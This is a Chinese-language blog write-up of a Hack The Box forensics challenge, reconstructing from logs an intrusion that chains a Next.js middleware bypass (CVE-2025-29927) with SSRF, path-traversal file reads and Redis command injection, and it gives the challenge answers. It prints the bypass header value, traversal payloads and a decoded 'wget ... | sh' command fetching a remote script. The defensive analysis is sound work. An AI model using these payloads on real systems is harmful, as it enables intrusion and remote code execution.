HTB-NeuroSync-D

本文最后更新于 2025年4月15日 凌晨

关于 Next.js 中间件鉴权绕过的漏洞

Description

NeuroSync™ is a leading suite of products focusing on developing cutting edge medical BCI devices, designed by the Korosaki Coorporaton. Recently, an APT group targeted them and was able to infiltrate their infrastructure and is now moving laterally to compromise more systems. It appears that they have even managed to hijack a large number of online devices by exploiting an N-day vulnerability. Your task is to find out how they were able to compromise the infrastructure and understand how to secure it.

使用的 Next.js 版本

interface.log 文件中找到 Next.js 版本号

1
15.1.0

Next.js 本地运行端口

1
3000

符和此版本的 Next.js 的 CVE 编号

CVE-2025-29927 Next.js 中间件权限绕过漏洞,通过添加 x-middleware-subrequest 请求头绕过中间件安全控制

1
CVE-2025-29927

通过枚举 Next.js 框架中的文件得到的第一个文件

access.log 文件中查找 HTTP 状态码为 200 的请求信息,第一个文件为 main-app.js

1
main-app.js

受漏洞影响的 endpoint

查看 interface.log 文件可以发现对 http://localhost:3000/api/bci/analytics 请求了多次,并且使用了 x-middleware-subrequest 请求头

1
2025-04-01T11:37:59.699Z - 10.129.231.211 - GET - http://localhost:3000/api/bci/analytics - [["accept","*/*"],["accept-encoding","gzip, deflate, br"],["connection","close"],["host","10.129.231.215"],["user-agent","Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"],["x-forwarded-for","10.129.231.211"],["x-forwarded-host","10.129.231.215"],["x-forwarded-port","3000"],["x-forwarded-proto","http"],["x-middleware-subrequest","middleware"],["x-real-ip","10.129.231.211"]]

所以 endpoint 为

1
/api/bci/analytics

漏洞导致的未授权响应数量

可以看到请求从 2025-04-01 11:37:58 开始到 2025-04-01 11:38:04 结束

access.log 查找此时间段信息发现 HTTP 状态码全为 401,这样的请求信息有 5 条

1
5

中间件被成功绕过的时间

401 请求响应后一条状态码变为了 200,说明已经被成功绕过

1
2025-04-01 11:38:05

绕过中间件的标头的值

Next.js and the corrupt middleware: the authorizing artifact,这篇文章中有对各版本更深入的研究

查看 Next.js v15.1.0 的源码 中有漏洞的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const runtime = await getRuntimeContext(params)
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)

if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}

x-middleware-subrequest 的值以 : 分割一次并且值为 params.name 也就是中间件的路径时,depth 就 +1,如果 depth 大于等于 MAX_RECURSION_DEPTH 的值也就是 5 时,返回空响应并设置 x-middleware-next 的值为 1,这样能防止无限递归造成请求超时等

所以让 depth >= 5 就能绕过中间件的鉴定

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

所以为

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

将该漏洞与 SSRF 攻击串联起来,因此能够执行内部端口扫描并发现内部 API。该 API 可以通过哪个端口访问

查看 data-api.log 文件的记录,根据攻击成功的时间段来看可以发现对 4000 端口进行了访问

在 API 中寻找易受攻击的 endpoint

可以发现对 /logs 请求后还进行了一些其他行为, /logs?logFile=/var/log/../.../...//../.../...//etc/passwd/logs?logFile=/var/log/../.../...//../.../...//proc/self/environ ,遍历路径读取 /etc/passwd/proc/self/environ

1
/logs

endpoint 首次被使用的时间

读取 /etc/passwd 的时间

1
2025-04-01 11:39:01

endpoint 被利用的漏洞名称

/logs?logFile=/var/log/../.../...//../.../...//etc/passwd/logs?logFile=/var/log/../.../...//../.../...//proc/self/environ 可以知道通过构造特定的文件路径,读取这些敏感文件,这种攻击方法符合利用 LFI 漏洞,也就是本地文件包含漏洞(Local File Inclusion)

1
Local File Inclusion

读取的文件

/tmp 下的 secret.key 文件

1
secret.key

查找允许执行 Redis 注入并获得 RCE的特殊命令

查看 redis.log 文件找到命令

1
OS_EXEC|d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo|f1f0c1feadb5abc79e700cac7ac63cccf91e818ecf693ad7073e3a448fa13bbb

解码后的命令

bci-device.log 里面能找到命令的明文

也可以 base64 解码 d2dldCBodHRwOi8vMTg1LjIwMi4yLjE0Ny9oNFBsbjQvcnVuLnNoIC1PLSB8IHNo

1
wget http://185.202.2.147/h4Pln4/run.sh -O- | sh

HTB-NeuroSync-D
http://example.com/2025/04/14/HTB-NeuroSync-D/
作者
butt3rf1y
发布于
2025年4月14日
许可协议